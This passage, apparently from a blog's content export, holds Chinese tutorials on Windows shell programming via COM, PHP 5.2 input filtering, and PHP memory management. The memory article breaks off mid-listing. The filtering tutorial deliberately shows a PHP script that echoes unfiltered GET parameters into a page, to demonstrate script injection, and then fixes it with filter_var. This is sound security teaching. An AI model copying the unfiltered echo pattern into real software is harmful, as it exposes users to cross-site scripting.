上述代码实现起来虽然效果还是不错的，但然实现起来却是比较麻烦的，这仅仅是一个比较简单的外壳操作，对于一些比较复杂的外壳操作比如系统托盘、任务条 等等的编程，更是尤为严重，而且象此类编程，MFC里并没有提供封装好的程序类库，提供的只有系统的WinAPI 应用程序接口，因此在程序开发过程中往往会有一种在进行SDK编程的感觉。\n三、 COM技术在Windows外壳编程中的应用\nCOM (Component Object Model，组件对象模型)是Microsoft创建的一种二进制和网络标准，也是Microsoft大力推广并已取得广泛认可的一种组件标准。在COM 标准中，COM对象被很好的封装起来，客户无法访问对象的实现细节，提供给用户的唯一的访问途径是通过COM接口来访问。对于COM接口有两方面的含义： 首先它是一组可供调用的函数，由此客户可以让该对象做某些事情；其次，也是更为重要的，接口是组件及其客户程序之间的协议。也就是说接口不但定义了可用什 么函数，也定义了当调用这些函数时对象要做什么。Windows操作系统本身作为一个大的COM组件对象，也提供了一些必要的COM接口给客户程序，因此 我们可以通过这些COM接口来直接对Windows外壳进行编程。\n在程序进行正式编写设计之前有一点是肯定的：程序里需要用到COM接口，要对COM对象进行操作。因此首先要加入初始化COM和终止COM的代码。一般是在应用程序类的InitInstance（）函数的开始处和返回前添加初始化COM和终止COM代码的：\n\u0026hellip;\u0026hellip;\nCoInitialize(NULL); //初始化COM\n\u0026hellip;\u0026hellip;\nCoUninitialize(); //终止COM代码\n\u0026hellip;\u0026hellip; 以上两个函数在MFC程序和非MFC程序中都可以很好的使用。另外，如果程序框架是以MFC为基础的，那么只需简单的调用AfxOleInit（）函数 就可以达到同样的目的。而且不必显式调用终止COM的代码。在COM标准中，访问COM对象的唯一途径是COM接口，因此在编写操纵Windows 系统外壳程序首先要得到其提供的COM接口。所用的COM接口是IShellDispatch，它是从IDispatch接口派生来的，在VC安装目录的 VC98IncludeExdisp.h头文件中有定义，下面节选了一些将要用到的接口定义：\n\u0026hellip;\u0026hellip;\nEXTERN_C const IID IID_IShellDispatch;\n#if defined(__cplusplus) \u0026amp;\u0026amp; !defined(CINTERFACE)\ninterface DECLSPEC_UUID(\u0026quot;D8F015C0-C278-11CE-A49E-444553540000\u0026quot;)\nIShellDispatch : public IDispatch\n{\npublic:\n\u0026hellip;\u0026hellip;\nvirtual HRESULT STDMETHODCALLTYPE MinimizeAll( void) = 0;\nvirtual HRESULT STDMETHODCALLTYPE UndoMinimizeALL( void) = 0;\nvirtual HRESULT STDMETHODCALLTYPE FileRun( void) = 0;\nvirtual HRESULT STDMETHODCALLTYPE CascadeWindows( void) = 0;\nvirtual HRESULT STDMETHODCALLTYPE TileVertically( void) = 0;\nvirtual HRESULT STDMETHODCALLTYPE TileHorizontally( void) = 0;\nvirtual HRESULT STDMETHODCALLTYPE ShutdownWindows( void) = 0;\nvirtual HRESULT STDMETHODCALLTYPE Suspend( void) = 0;\nvirtual HRESULT STDMETHODCALLTYPE SetTime( void) = 0;\nvirtual HRESULT STDMETHODCALLTYPE TrayProperties( void) = 0; virtual HRESULT STDMETHODCALLTYPE Help( void) = 0;\nvirtual HRESULT STDMETHODCALLTYPE FindFiles( void) = 0;\nvirtual HRESULT STDMETHODCALLTYPE FindComputer( void) = 0;\n};\n\u0026hellip;\u0026hellip; 该接口在CoCreateInstance()函数创建COM对象时将会得到指向其的指针，通过这个函数客户程序可以避免显式同类厂打交道，其实该函数 内部也调用了CoGetClassObject()函数来获取COM对象的类厂，只不过它把通过类厂创建对象的过程封装起来了，只需用户指定对象类的 CLSID和待输出的接口指针及接口ID，显然这样直接创建COM对象是非常便捷的，在获取到COM对象指针之后就可以通过这个指针去访问调用COM对象 里的方法来实现Windows 外壳的种种功能调用了，下面是实现该功能的部分关键代码：\n\u0026hellip;\u0026hellip;\nHRESULT sc;//返回结果\nIShellDispatch *pShellDisp = NULL; //初始化接口指针\n//直接创建COM对象\nsc = CoCreateInstance( CLSID_Shell,//指定待创建的COM对象标识符\nNULL, //指定被聚合时的外部对象的接口指针\nCLSCTX_SERVER, //指定组件类别，可以指定进程内组件进程外组件或者进程内控制对象。\nIID_IDispatch, //指定接口ID，需要注意的是这里指的是待\n//创建的COM对象的接口ID,而非类厂对象的接口标识符\n(LPVOID *) \u0026amp;pShellDisp );//存放函数返回的对象的接口指针\n/* 在上述代码中，CoCreateInstance首先调用CoGetClassObject函数创建类厂对象，然后用得到的类厂对象的接口指针创建真正的COM对象，最后把类厂对象释放并返回，这样就很好的把类厂屏蔽起来，使用户用起来更为简单。*/\nif( FAILED(sc) )//必须用FAILED 或SUCCECCED来判断COM对象是否创建成功\nreturn;\npShellDisp-\u0026gt;FindFiles(); //调用COM对象里的方法\npShellDisp-\u0026gt;Release(); //释放申请到的接口指针\n\u0026hellip;\u0026hellip; 在这里通过pShellDisp接口指针调用了COM对象的FindFiles()方法去进行查找文件的系统外壳操作。同样，可以根据实际需要灵活调用响应的方法来执行相应的外壳操作，主要有以下几个方法：\nMinimizeAll 所有窗口最小化\nUndoMinimizeALL 恢复窗口最小化\nFileRun 开始菜单的\u0026quot;运行\u0026hellip;\u0026quot;\nCascadeWindows 层叠窗口\nTileVertically 垂直平铺\nTileHorizontally 水平平铺\nShutdownWindows 关闭Windows Suspend 挂起计算机\nSetTime 设定时间\nTrayProperties 任务栏属性\nHelp Windows帮助\nFindFiles 查找文件\nFindComputer 查找计算机\n\u0026hellip;\u0026hellip;\n这些接口均在VC安装目录的VC98IncludeExdisp.h头文件中有定义，可以通过对该文件的查看来编写响应的外壳操作代码。\n小结：本 文介绍了一种利用COM技术实现Windows系统外壳程序的简便实用的方法，对Windows系统外壳的程序设计和COM程序设计的方法和思想做了阐 述。在掌握了本文编程的中心思想前提下，不仅可以对Windows系统外壳进行程序设计，而且对于其他一些提供COM接口的应用程序进行编程，比如可以在 自己的应用程序中用类似的方法加入对Office办公套件的支持等等。因此重点不应放在具体的程序代码中，而是在于程序的设计思想与方法。本文所述程序在 Windows 98下，由Microsoft Visual C++ 6.0编译通过。\n","permalink":"https://hessian.cn/p/373.html","summary":"　摘要：本文介绍了一种有别于通常的Windows外壳编程方法。采用COM技术，通过Windows提供的外壳接口实现对其的编程。\n一、 引言\n在Windows环境下，不论是使用Visual C++还是Delphi或是其他一些软件开发工具，尽管存在着差别，但有一点是相同的：都是运行于Windows操作系统之下的。在程序开发过程中也经常 要在自己的应用程序中加入一些Windows系统本身就有的功能，比如文件的拷贝、删除、查找以及运行程序等等。而这些功能在Windows操作系统下都 是具备的，显然如果能直接从系统中调用这些功能将不仅仅减少程序的大小和开发人员的工作量，而且由于是直接通过操作系统来完成这些功能，将会大大减小这部 分程序出现异常错误的概率。Windows系统虽说也存在不少错误，但常用功能的错误还是比较少的，而且通过补丁程序可以更低限度减少系统错误，因此程序 员可以将调试检错的注意力放在应用程序的其他地方，对于调用系统功能这部分代码则可以不必投入太大的精力去调试，因为这部分调试的工作在操作系统发布的时 候就已经由微软做好了。\n","title":"通过COM技术实现Windows外壳编程"},{"content":"2007 年 4 月 17 日\n在 \u0026ldquo;PHP V5.2 中的新增功能\u0026rdquo; 这一系列的第 2 部分中，了解如何有效使用新的 PHP V5.2 提供的新输入过滤扩展功能。这是一项急需的功能，它将允许您验证表单和其他输入介质的输入而无需依赖第三方软件。阅读本文后，您将能有效地过滤输入以提高应用程序的安全性。\n本文是共有五部分的系列文章的第二部分，我们将继续介绍 PHP V5.2 的新增功能，本文主要介绍输入过滤。\n接 受用户输入或来自不受信任来源的任何其他数据是 PHP 开发人员在开发应用程序时可能承担的最常见风险之一。您经常需要引入来自未知来源的数据以使应用程序运行，但是这就给黑客提供了插入任意代码或以其他方式 使用应用程序的机会。从 PHP V5.2 开始，输入过滤扩展功能将被默认启用，以使您可以更轻松地针对此类操作采取措施。输入过滤扩展功能提供了一组函数来解析和检查输入，然后在函数中使用此输 入。\n我们将考察使用这些函数解析和检查输入而不进行手动编码的原因，并介绍一些如何使用这些新函数的基本示例。\n从任何一个位置输入\n输 入是大多数应用程序的关键。我们的应用程序将接收大量信息并使用微处理器的能力来处理这些信息。我们可以控制输入进入应用程序的位置，但是我们不能控制输 入此数据的用户的意图。PHP 最初被开发为一种轻松的方法，用于开发从 HTML 表单收集输入的脚本。它现在的功能早已不限于此了，但是我们现在仍然在用它来收集和操作来自许多不受信任的源的数据。即使是单独的数据输入职员也可能无意 识地向应用程序发送一些问题数据，甚至也必须将其视为不受信任的源。\n安全是目前十分热门的问题，并且随着每次 通过的硬件和软件修订而变得更加热门。我们总是说得很好听，但是由于情况很复杂，因此我们往往在系统保护的关键点 \u0026mdash;\u0026mdash; 输入上做得差强人意。方法有很多并且实现起来很复杂。我们完成应用程序有严格的最后期限并且必须履行项目经理的最后期限。\n保护自己免于恶意代码攻击的一种方法是确保接收到预期的输入。在本文中，我们将查看一个阻止用户输入不适当的 JavaScript 的示例，并向您展示如何将那些标记从输入中剥离出来，返回实际需要的内容。\nPHP V5.0 以后的版本中提供了输入过滤扩展功能以使您可以更轻松地获得安全性。PHP V5.2 版本首次默认启用了此功能并实现了开箱即用。\n回页首 验证与过滤的对比\n在您的编程经历中可能听说过术语：输入验证。 它是应用程序开发过程中至关重要的部分，用于确保传入数据在上下文和内容上都是正确的。程序员可以通过正则表达式和测试来查看值是否满足标准（例如，要求 输入电子邮件地址并需要确保输入格式正确时）。如果需要排除 Hotmail 或 Gmail 等免费电子邮件地址，也可以借助此方法。您将使用正则表达式来阻止包含 \u0026ldquo;hotmail.com\u0026rdquo; 或 \u0026ldquo;gmail.com\u0026rdquo; 的任何电子邮件地址。\n通常认为这类 \u0026ldquo;处理基本检查以确保输入数据满足某种标准\u0026rdquo; 就是验证。在这种情况下，需要确保不必清理数据，或者确实可获得查找的数据。验证的目标就是要避免一些简单错误，例如尝试将 NULL 放入不接受这种值的字段。\n错 误的数据或恶意构造的数据导致的错误可能带来毁灭性的后果。您将需要全力实现一种更全面的过滤此信息的方法，这种方法需涵盖针对每种数据类型的所有可能测 试，而不是执行千篇一律的任务或重复的任务。通常，您可能没注意到测试或编写不完整的正则表达式。过滤器扩展功能将帮助提供更完整的输入评估，同时减少重 复代码编写工作。在这种情况下，过滤与验证的不同之处就在于过滤在安全性上更全面。\n回页首 过滤器类型以及如何选择\n让我们进一步查看扩展功能的详细信息。过滤扩展功能有两种过滤器：Sanitizing 和 Logical。\nSanitizing 过滤器只是允许或禁止字符串中的字符并将清理后的字符串作为结果返回。无论您将哪种数据格式传入这些函数，它们将始终返回字符串。对于特定类型的使用，这 是至关重要的，因为您可以阻止用户发送不适当的输入并导致异常结果。例如，用户可以发现文本块的输入被返回到以下页面上并且要利用那些返回信息。如果清理 输入，则将删除输入的所有危险部分。\nLogical 过滤器将对变量执行测试并根据测试提供 true 或 false 结果。然后您可以使用结果来决定如何处理数据或获得用户的地址。这种过滤器的简单示例是验证年龄。逻辑测试还可以针对类似 Perl 的正则表达式进行测试。\n让我们看看在进行过滤和验证时使用这些函数的一些方法，了解如何将过滤引入应用程序。\n回页首 整理行为\n让我们开始使用过滤扩展功能的清理应用程序来过滤不需要的代码块。\n在 这个示例应用程序中，您有一张简单的表单，它接收三个问题和三个答案。表单本身没有使用验证或过滤。查看源代码时，一个不幸的用户相信这是真的，并且决定 通过编写包括抛出警报的 JavaScript 调用的文本块来测试表单。如果警报弹出，告诉他输入的所有内容都将真正被接受并由应用程序使用而不进行过滤，这将证明他是正确的。\n清单 1. 简单输入表单\n\u0026lt;html\u0026gt;\n\u0026lt;body\u0026gt;\n\u0026lt;p\u0026gt;What is your name?\u0026lt;/p\u0026gt;\n\u0026lt;form name=\u0026quot;form1\u0026quot; method=\u0026quot;get\u0026quot; action=\u0026quot;filteringexample1a.php\u0026quot;\u0026gt;\n\u0026lt;p\u0026gt;\n\u0026lt;input name=\u0026quot;1\u0026quot; type=\u0026quot;text\u0026quot; id=\u0026quot;1\u0026quot;\u0026gt;\n\u0026lt;/p\u0026gt;\n\u0026lt;p\u0026gt;What is your favorite color?\u0026lt;/p\u0026gt;\n\u0026lt;p\u0026gt;\n\u0026lt;input name=\u0026quot;2\u0026quot; type=\u0026quot;text\u0026quot; id=\u0026quot;2\u0026quot;\u0026gt;\n\u0026lt;/p\u0026gt;\n\u0026lt;p\u0026gt;What is the airspeed of an unladen swallow?\u0026lt;/p\u0026gt;\n\u0026lt;p\u0026gt;\n\u0026lt;textarea name=\u0026quot;3\u0026quot; id=\u0026quot;3\u0026quot;\u0026gt;\u0026lt;/textarea\u0026gt; \u0026lt;/p\u0026gt;\n\u0026lt;p\u0026gt;\n\u0026lt;input type=\u0026quot;submit\u0026quot; name=\u0026quot;Submit\u0026quot; value=\u0026quot;Submit\u0026quot;\u0026gt;\n\u0026lt;/p\u0026gt;\n\u0026lt;/form\u0026gt;\n\u0026lt;/body\u0026gt;\n\u0026lt;/html\u0026gt;\n清单 1 是接受用户输入的常见 HTML 表单。要求用户提供一些基本信息并且简单地将其返回，而不进行任何其他操作。在图 1 中，您可以看到用户已经输入了一些信息并准备发送 JavaScript 代码，如果不完成清理工作，这段 JavaScript 代码将发送警报。\n图 1. 输入表单\n接下来，创建一个脚本来捕获表单变量并在另一个页面中将其打印输出。\n清单 2. PHP 表单\n\u0026lt;body\u0026gt;\n\u0026lt;?php echo \u0026quot;You are \u0026quot; . $_GET['1'] . \u0026quot;.\u0026lt;br\u0026gt;n\u0026quot;;\necho \u0026quot;Your favorite color is \u0026quot; . $_GET['2'] . \u0026quot;.\u0026lt;br\u0026gt;n\u0026quot;;\necho \u0026quot;The airspeed of an unladen swallow is \u0026quot; . $_GET['3'] . \u0026quot;.\u0026lt;br\u0026gt;n\u0026quot;;\n?\u0026gt;\n\u0026lt;/body\u0026gt;\n现在您可以看到如果只是返回这个输入而不使用任何类型的过滤将会发生什么情况。\n图 2. 表单的输出\n如您所见，不幸的用户已经执行了一些随机代码。假定，这段代码只位于客户端（不幸用户自己的 PC 计算在内，并且在这种情况下不表示对应用程序构成威胁），但是它肯定不是有效输入。\n回页首 清理输入字符串\n清单 3 演示了使用 filter_var() 的 FILTER_SANITIZE_STRING 选项进行清理的简单示例。\n清单 3. 添加代码到接收 PHP 脚本中\n\u0026lt;?php echo \u0026quot;You are \u0026quot; . filter_var($_GET['1'], FILTER_SANITIZE_STRING) . \u0026quot;.\u0026lt;br\u0026gt;n\u0026quot;;\necho \u0026quot;Your favorite color is \u0026quot; . filter_var($_GET['2'], FILTER_SANITIZE_STRING) . \u0026quot;.\u0026lt;br\u0026gt;n\u0026quot;;\necho \u0026quot;The airspeed of an unladen swallow is \u0026quot; . filter_var($_GET['3'], FILTER_SANITIZE_STRING) . \u0026quot;.\u0026lt;br\u0026gt;n\u0026quot;;\n?\u0026gt;\n如您所见，开始使用 filter_var() 函数来清理输入并使其有效并且安全。在这种情况下，使用选项 FILTER_SANITIZE_STRING，该选项将获取输入、删除所有 HTML 标记并选择性地编码或删除特定字符。\n由于它将除去 HTML 标记，因此尝试运行 JavaScript 将失败，并且从脚本中获得更适当的结果。\n图 3. 从修订后的 PHP 脚本获得的清理后的输出\n与尝试用正则表达式和字符串函数手动完成此工作相比，使用 filter_var() 函数将极大地减少编码量。在那种情况下，您将必须编写只执行 HTML 代码块的另外若干行代码和显式正则表达式，并且解析整个输入的文本块以确保没有遗漏任何 HTML 标记。而使用提供的函数将更简单。\n回页首 用户输入 \u0026mdash;\u0026mdash; 毫无逻辑\n一 些输入是数字或有指定的式样。在这些情况下，您可以使用逻辑过滤选项并针对表达式或其他逻辑测试检查数据。如果表达式读到 true，则数据将成功通过过滤器。如果逻辑测试证明数据为 false，则数据将不能通过过滤器。首先，我们将设置一个简单的逻辑测试用于检查确保燕子坠落的速度在规定的范围内，因为燕子的空中速度可能不同。设置 完测试后，我们将添加一些代码来告诉用户答案是否不正确。正确答案应当只需重复。\n清单 4. 添加代码到接收 PHP 脚本中\n\u0026lt;?php echo \u0026quot;You are \u0026quot; . $_GET['1'] . \u0026quot;.\u0026lt;br\u0026gt;n\u0026quot;;\necho \u0026quot;Your favorite color is \u0026quot; . $_GET['2'] . \u0026quot;.nn\u0026quot;;\n$minSpeed = 12;\n$maxSpeed = 13;\n$airspeed = filter_var($_GET['3'], FILTER_VALIDATE_INT, array(\u0026quot;options\u0026quot; =\u0026gt; array(\u0026quot;min_range\u0026quot;=\u0026gt;$minSpeed, \u0026quot;max_range\u0026quot;=\u0026gt;$maxSpeed)));\necho \u0026quot;The airspeed of an unladen swallow is \u0026quot; . $airspeed . \u0026quot;.nn\u0026quot;;\n?\u0026gt;\n清单 4 将根据速度的最小值和最大值范围检查坠落的燕子问题的答案。这可以简单地确保它确实是一个 INT 变量，但是也在 $minSpeed 和 $maxSpeed 中添加了一个范围。如果用户答案不在可接受的值的范围内，结果将得到 FALSE。随后可以测试这个答案并且把正确答案返回给用户。在这种情况下，我们将直言不讳。\n清单 5. 添加代码到接收 PHP 脚本中\n\u0026lt;?php echo \u0026quot;You are \u0026quot; . $_GET['1'] . \u0026quot;.\u0026lt;br\u0026gt;n\u0026quot;;\necho \u0026quot;Your favorite color is \u0026quot; . $_GET['2'] . \u0026quot;.nn\u0026quot;;\n$minSpeed = 12;\n$maxSpeed = 13;\n$airspeed = filter_var($_GET['3'], FILTER_VALIDATE_INT, array(\u0026quot;options\u0026quot; =\u0026gt; array(\u0026quot;min_range\u0026quot;=\u0026gt;$minSpeed, \u0026quot;max_range\u0026quot;=\u0026gt;$maxSpeed)));\nIf ($airspeed === FALSE){\nEcho \u0026quot;\u0026lt;h1\u0026gt;WRONG!\u0026lt;/h1\u0026gt;\u0026quot;;\n}else{\necho \u0026quot;The airspeed of an unladen swallow is \u0026quot; . $airspeed . \u0026quot;.nn\u0026quot;;\n}\n?\u0026gt;\n我们已经遵从逻辑测试成功地测试了传入数据，并且向用户显示了正确结果或者一些负面的反馈。不管怎样，我们已经使用了过滤器来确保为输入提供了正确答案。\n回页首 结束语\n分享这篇文章\u0026#8230;\u0026#8230;\n将本文提交到 Digg 发布到 del.icio.us 提交到 Slashdot！ \u0026ldquo;PHP V5.2 中的新增功能\u0026rdquo; 这一系列文章（共五部分）的第 2 部分集中介绍了输入过滤。我们查看了以下两者的差异：简单输入验证以捕获不要求任何清理的简单错误，以及旨在捕获潜在的更具破坏性的输入错误和问题的输入 过滤。然后查看了两种类型的过滤扩展功能：Sanitizing 和 Logical，并浏览了两者的示例。在第 3 部分中，我们将查看新的 JSON 扩展功能，它将为 PHP 开发人员开发 Ajax 应用程序（使用 JSON 的）提供更好的支持。\n","permalink":"https://hessian.cn/p/626.html","summary":"2007 年 4 月 17 日\n在 \u0026ldquo;PHP V5.2 中的新增功能\u0026rdquo; 这一系列的第 2 部分中，了解如何有效使用新的 PHP V5.2 提供的新输入过滤扩展功能。这是一项急需的功能，它将允许您验证表单和其他输入介质的输入而无需依赖第三方软件。阅读本文后，您将能有效地过滤输入以提高应用程序的安全性。\n","title":"PHP V5.2 中的新增功能，第 2 部分: 使用新输入过滤扩展功能"},{"content":"2007 年 4 月 10 日\n了解如何使用 PHP V5.2 中引入的新内存管理器并开始精通于跟踪和监视内存使用情况。这将使您可以在 PHP V5.2 中更加有效地使用更多的内存。\nPHP V5.2：开始\n2006 年 11 月发布了 PHP V5.2，它包括许多新增功能和错误修正。它废止了 5.1 版并被推荐给所有 PHP V5 用户进行升级。我最喜欢的实验室环境 \u0026mdash;\u0026mdash; Windows\u0026reg;、Apache、MySQL、PHP (WAMP) \u0026mdash;\u0026mdash; 已经被引入了 V5.2 的新软件包中（请参阅 参考资料）。您将在那里找到在 Windows\u0026reg; XP 或 2003 计算机上安装 PHP V5.2、MySQL 和 Apache 的应用程序。您可以十分轻松地进行安装，它有很多不错的小的管理优点，并且我十分诚恳地推荐使用它。\n虽然对于 Windows 用户来说，这是最简单的软件包，但是在 Linux 上配置 PHP 时您需要添加以下代码：--memory-limit-enabled（适用于您服务器的任何其他选项除外）。不过，在 Windows 下，提供了一个解决此问题的函数。\nPHP V5.2 中有很多改进之处，并且一个至关重要的领域是内存管理。从 README.ZEND_MM 中准确地引述就是：\u0026ldquo;新内存管理器（PHP5.2 以及更高版本）的目标是减少内存分配开销并加速内存管理。\u0026rdquo;\n下面是 V5.2 发行说明中的一些关键内容：\n删除了不必要的 --disable-zend-memory-manager 配置选项 添加了 --enable-malloc-mm 配置选项，调试构建时此配置选项将被默认启用以允许使用内部和外部内存调试程序 允许使用 ZEND_MM_MEM_TYPE 和 ZEND_MM_SEG_SIZE 环境变量调整内存管理器 为了理解这些新增功能的含义，我们需要深入研究内存管理中的艺术，并考虑为什么分配开销和运行速度是大问题。\n回页首 为什么进行内存管理？\n计 算中开发最快速的一项技术是内存和数据存储，它们是受不断增加速度和存储大小这样持续的需求而驱动的。早期的计算机使用卡作为内存，然后转向了芯片技术。 您能想象在只有 1 KB RAM 内存的计算机工作的情景吗？很多早期的计算机程序员就曾使用过。这些先驱者很快就意识到，要在技术限制下工作，他们将必须细心地用琐碎的命令避免系统过 载。\n身为 PHP 开发人员，与使用 C++ 或其他更严格的语言编码的同事相比，我们所在的环境更方便进行编码。在我们的世界里，我们自己不必担心如何处理系统内存，因为 PHP 将为我们处理这个问题。但是，在其他编程领域里，负责任的编码人员将使用各种函数确保执行的命令不会覆盖其他一些程序数据 \u0026mdash;\u0026mdash; 因而，破坏了程序的运行。\n内存管理通常是由来自编码人员的请求处理的，以分配和释放内存块。分配块 可以保存任何类型的数据，并且此过程将为该数据隔开一定量的内存，并当操作需要访问数据时为应用程序提供访问方法。人们期望程序在完成任何操作后释放分配的内存，并允许系统和其他程序员使用该内存。如果程序没有把内存释放回系统，则称为内存泄露。\n泄露是任何运行程序都存在的普遍问题，并且某种程度内通常是可以接受的，尤其是当我们知道运行程序将立即终止并释放默认分配给程序的所有内存。\n由 于随机运行和终止程序，像几乎所有客户机应用程序一样，这是个问题。期望服务器应用程序不确定地运行而不终止或重新启动，这使得内存管理对于服务器守护程 序编程绝对的至关重要。在长时间运行的程序中，即使一个小的泄露最后都将发展为系统衰弱问题，因为内存块已被使用并且永远不被释放。\n回页首 长期考虑\n正如使用任何语言编写一样，用 PHP 编写的永久性服务器守护程序有很多可能的用途。但是当我们出于这些目的开始使用 PHP 时，我们也必须考虑内存使用情况。\n解 析大量数据或可能隐藏无限次循环的脚本都趋于消耗大量内存。很明显，一旦内存被耗尽，服务器的性能就降低，因此在执行脚本时我们还必须注意内存的使用情 况。虽然我们可以通过启用系统监视器来简单观察内存的使用量，但是它不会告诉我们比整个系统内存状态更有用的任何内容。有时我们不止需要帮助进行故障检修 或优化的内容，而有时我们只是需要更多详细信息。\n获得脚本执行内容的透明性的一种方法是使用内部或外部调试器。内部调试器 是呈现为执行脚本的相同的进程。从操作系统的角度考虑的独立进程是外部调试器。使用调试器进行内存分析类似于任何一种情况，但是使用了不同的方法访问内存。内部调试器对运行进程所在的内存空间具有直接访问权，而外部调试器将通过套接字访问内存。\n有许多方法和可用的调试服务器（外部）和库（内部）可用于辅助开发。为了准备好对 PHP 安装进行调试，可以使用新提供的 --enable-malloc-mm，它在 DEBUG 构建中默认被启用。这使环境变量 USE_ZEND_ALLOC 可用于允许在运行时选择 malloc 或 emalloc 内存分配。使用 malloc-type 内存分配将允许外部调试器观察内存使用情况，而 emalloc 分配将使用 Zend 内存管理器抽象，要求进行内部调试。\n回页首 PHP 中的内存管理函数\n除了使内存管理器更灵活更透明之外，PHP V5.2 还为 memory_get_usage() 和 memory_get_peak_usage() 提供了一个新参数，这两个函数允许查看内存使用量。说明中提及的新布尔值是 real_size。通过调用函数 memory_get_usage($real);（其中 $real = true），结果将为调用时系统中实际分配的内存大小，包括内存管理器开销。如果不使用标记组，则返回的数据将只包括在运行脚本内使用的内存，减去内存管理器开销。\nmemory_get_usage() 和 memory_get_peak_usage() 的不同之处在于后者将返回到目前为止调用它的运行进程的最高内存量，而前者只返回执行时的使用量。\n对于 memory_get_usage()，php.net 提供了清单 1 中的代码片段。\n清单 1. memory_get_usage() 示例\n\u0026lt;?php\n// This is only an example, the numbers below will // differ depending on your system\necho memory_get_usage() . \u0026quot;n\u0026quot;; // 36640\n$a = str_repeat(\u0026quot;Hello\u0026quot;, 4242);\necho memory_get_usage() . \u0026quot;n\u0026quot;; // 57960\nunset($a);\necho memory_get_usage() . \u0026quot;n\u0026quot;; // 36744\n?\u0026gt;\n在这个简单示例中，我们首先回转了直接调用 memory_get_usage() 的结果，代码注释中显示可能在作者的系统中有 36640 字节的常见结果。然后我们使用 4,242 个 \u0026ldquo;Hello\u0026rdquo; 副本来装载 $a 并再次运行函数。图 1 中可以看到此简单应用的输出。\n图 1. memory_get_usage() 的示例输出\n没有 memory_get_peak_usage() 的示例，因为两者十分相似，语法是相同的。但是，对于清单 1 中的示例代码，将只有一个结果，即当时的最高内存使用量。让我们看一看清单 2。\n清单 2. memory_get_peak_usage() 示例\n\u0026lt;?php\n// This is only an example, the numbers below will // differ depending on your system\necho memory_get_peak_usage() . \u0026quot;n\u0026quot;; // 36640\n$a = str_repeat(\u0026quot;Hello\u0026quot;, 4242);\necho memory_get_peak_usage() . \u0026quot;n\u0026quot;; // 57960\nunset($a);\necho memory_get_peak_usage() . \u0026quot;n\u0026quot;; // 36744\n?\u0026gt;\n清单 2 中的代码跟图 1 一样，但是 memory_get_usage() 已经替换为 memory_get_peak_usage()。在我们用 4242 个 \u0026ldquo;Hello\u0026rdquo; 副本填充 $a 之前，输出都不会有多大更改。内存跳升至 57960，表示到目前为止的峰值。当检查内存使用量峰值时，得到了目前为止的最高值，因此所有进一步调用都将得到 57960，直至我们处理的操作比处理 $a 使用的内存更多（参见图 2）。\n图 2. memory_get_peak_usage() 的示例输出\n回页首 限制内存使用\n确 保托管应用程序的服务器不过载的一种方法是限制 PHP 执行的任何脚本使用的内存量。这根本不是我们应当执行的操作，但由于 PHP 是一种松散类型的语言，并且是在运行时解析的，因此我们有时会获得在释放到生产应用程序中后编写得很差的脚本。这些脚本可能执行循环，也可能打开一张长的 文件列表，忘记在打开新文件之前先关闭当前文件。无论在哪一种情况下，编写很差的脚本可能在您知道之前以消耗大量内存告终。\n在 PHP.INI 中，您可以使用配制参数 memory_limit 来指定任何脚本能够在系统中运行的最大内存使用量。这不是对于 V5.2 的特定更改，但是内存管理器及其使用的任何讨论都值得至少快速查看一次这个特性。它还精心地引导我使用内存管理器的最后几个新功能：环境变量。\n回页首 调整内存管理器\n最后，在不能做完美主义者但是又完全符合自己目的的情况下怎样编程？新环境变量 ZEND_MM_MEM_TYPE 和 ZEND_MM_SEG_SIZE 正好可以满足您的需求。\n当内存管理器分配大型内存块时，它是安装 ZEND_MM_SEG_SIZE 变量中列出的预定大小执行操作的。这些内存块的默认分区大小为每块 256 KB，但是您可以调整这些分区大小以满足特殊需求。例如，如果您注意到最常用的一个脚本中的操作导致大量的内存浪费，则可以将此大小调整为更接近匹配脚本 需求的值，减少分配的内存量但剩下的内存量仍然为零。在正确的条件下，此类谨慎的配制调整可能造成巨大差别。\n回页首 在 Windows 中检索内存使用情况\n如果具有预构建的 PHP Windows 二进制代码，而没有在构建时使用 --enable-memory-limit 选项，则需要先浏览此部分然后再继续。对于 Linux\u0026reg;，配置 PHP 构建时用 --enable-memory-limit 选项构建 PHP。\n要使用 Windows 二进制代码检索内存使用情况，请创建以下函数。\n清单 3. 在 Windows 下获得内存使用情况\n\u0026lt;?php\nfunction memory_get_usage(){\n$output = array();\nexec('tasklist /FI \u0026quot;PID eq '.getmypid().'\u0026quot; /FO LIST', $output );\nreturn preg_replace( '/[^0-9]/', '', $output[5] ) * 1024;\n}\n?\u0026gt;\n将结果保存到名为 function.php 的文件。现在您只能将此文件包含在需要使用它的脚本中。\n回页首 动手实践\n让 我们来看一看使用这些设置的实际示例给我们带来的好处。可能有很多次您都想知道为什么在脚本的末尾没有正确分配内存。原因是因为一些函数本身导致了内存泄 露，尤其是在仅使用内置 PHP 函数的情况下。在这里，您将了解如何发现此类问题。并且为了开始进行内存泄露查找的征战，您将创建一个测试 MySQL 数据库，如清单 4 所示。\n清单 4. 创建测试数据库\nmysql\u0026gt; create database memory_test;\nmysql\u0026gt; use memory_test;\nmysql\u0026gt; create table leak_test\n( id int not null primary key auto_increment,\ndata varchar(255) not null default '');\nmysql\u0026gt; insert into leak_test (data) values (\u0026quot;data1\u0026quot;),(\u0026quot;data 2\u0026quot;),\n(\u0026quot;data 3\u0026quot;),(\u0026quot;data 4\u0026quot;),(\u0026quot;data 5\u0026quot;),(\u0026quot;data6\u0026quot;),(\u0026quot;data 7\u0026quot;),\n(\u0026quot;data 8\u0026quot;),(\u0026quot;data 9\u0026quot;),(\u0026quot;data 10\u0026quot;);\n这将创建一个带有 ID 字段和数据字段的简单表。\n在下一张清单中，想象我们坚韧不拔的程序员正在执行一些 MySQL 函数，特别是使用 mysql_query() 将结果应用到变量。当他这样做时，他将注意到即使调用 mysql_free_result()，一些内存也不会被释放，导致内存使用量随着 Apache 进程不断增长（参见清单 5）。\n清单 5. 内存泄露检测示例\nfor ( $x=0; $x\u0026lt;300; $x++ ) {\n$db = mysql_connect(\u0026quot;localhost\u0026quot;, \u0026quot;root\u0026quot;, \u0026quot;test\u0026quot;);\nmysql_select_db(\u0026quot;test\u0026quot;);\n$sql = \u0026quot;SELECT data FROM test\u0026quot;; $result = mysql_query($sql); // The operation suspected of leaking\nmysql_free_result($result);\nmysql_close($db);\n}\n清单 5 是在任何位置都可能使用的简单 MySQL 数据库操作。在运行脚本时，我们注意到一些与内存使用量相关的奇怪行为并需要将其检查出来。为了使用内存管理函数以使我们可以检验发生错误的位置，我们将使用以下代码。\n清单 6. 定标查找错误的示例\n\u0026lt;?php\nif( !function_exists('memory_get_usage') ){ include('function.php');\n}\necho \u0026quot;At the start we're using (in bytes): 